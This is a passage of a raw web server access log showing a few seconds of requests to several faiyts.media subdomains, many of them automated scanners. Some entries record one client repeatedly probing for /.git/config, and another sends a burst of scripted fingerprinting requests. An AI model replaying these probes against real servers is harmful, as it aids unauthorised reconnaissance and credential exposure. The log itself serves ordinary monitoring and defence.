Safari/537.36" +104.164.173.53 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.216 - - [01/Jun/2024:13:37:23 -0500] "GET /web/ HTTP/1.1" 200 2062 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.6 - - [01/Jun/2024:13:37:23 -0500] "GET /web/ HTTP/1.1" 200 2067 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.136 - - [01/Jun/2024:13:37:23 -0500] "GET /login HTTP/1.1" 200 41216 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.205 - - [01/Jun/2024:13:37:23 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://db.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.164 - - [01/Jun/2024:13:37:23 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.44 - - [01/Jun/2024:13:37:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +71.136.238.24 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.209 - - [01/Jun/2024:13:37:23 -0500] "GET /login HTTP/1.1" 200 41224 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:37:23 -0500] "HEAD / HTTP/1.1" 401 0 "-" "python-requests/2.27.1" +93.123.39.11 - - [01/Jun/2024:13:37:23 -0500] "GET /.git/config HTTP/2.0" 401 574 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 HeyTapBrowser/45.10.6.1.1 Chrome/91.0.4472.88" +91.90.120.14 - - [01/Jun/2024:13:37:23 -0500] "HEAD / HTTP/1.1" 200 0 "-" "python-requests/2.27.1" +71.204.68.82 - - [01/Jun/2024:13:37:23 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://terraria.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +158.222.134.185 - - [01/Jun/2024:13:37:23 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +88.99.103.122 - - [01/Jun/2024:13:37:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +88.99.103.122 - - [01/Jun/2024:13:37:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +107.146.73.167 - - [01/Jun/2024:13:37:24 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.36 - - [01/Jun/2024:13:37:24 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://db.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +136.243.111.28 - - [01/Jun/2024:13:37:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.167 - - [01/Jun/2024:13:37:24 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +176.9.99.241 - - [01/Jun/2024:13:37:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.167 - - [01/Jun/2024:13:37:24 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.161 - - [01/Jun/2024:13:37:24 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:24 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (X11; CrOS x86_64 14989.107.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" +136.243.111.28 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +71.136.238.24 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://cloud.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +154.28.229.16 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +158.222.134.185 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +216.102.0.15 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 401 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +64.227.56.127 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +168.119.12.240 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 401 61 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +107.146.73.167 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://warden.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 5430 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +104.164.173.63 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 15086 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 404 1216 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 302 0 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /favicon.ico HTTP/1.1" 200 49334 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 3169 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 7631 "-" "python-requests/2.25.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 3194 "-" "python-requests/2.25.1" +176.9.140.11 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +51.81.245.138 - - [01/Jun/2024:13:37:25 -0500] "GET /login?returnUrl=%2Ffavicon.ico HTTP/1.1" 200 3190 "-" "python-requests/2.25.1" +154.28.229.146 - - [01/Jun/2024:13:37:25 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +93.123.39.11 - - [01/Jun/2024:13:37:26 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36" +104.164.173.207 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.234 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.161 - - [01/Jun/2024:13:37:26 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.204 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.8 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.229 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.167 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.92 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.203 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.96 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.195 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.190 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.123 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.215 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.247 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:26 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +154.28.229.141 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.78 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.97 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +51.81.245.138 - - [01/Jun/2024:13:37:26 -0500] "GET /favicon.ico HTTP/1.1" 200 1384 "-" "python-requests/2.25.1" +154.28.229.32 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.247 - - [01/Jun/2024:13:37:26 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.124 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.14 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.186 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.123 - - [01/Jun/2024:13:37:26 -0500] "GET /runtime.942fa683274b3d3c26cf.js HTTP/1.1" 200 1340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.102 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.229 - - [01/Jun/2024:13:37:26 -0500] "GET /index-05c8d69e1879af180228.js HTTP/1.1" 200 8184 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.78 - - [01/Jun/2024:13:37:26 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.7 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.224 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.80 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.225 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.97 - - [01/Jun/2024:13:37:26 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.186 - - [01/Jun/2024:13:37:26 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.41 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.231 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.1 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.16 - - [01/Jun/2024:13:37:26 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://router.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.44 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.186 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.229 - - [01/Jun/2024:13:37:26 -0500] "GET /82.07b6b6a8b44f8618e2ac.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.27 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.216 - - [01/Jun/2024:13:37:26 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 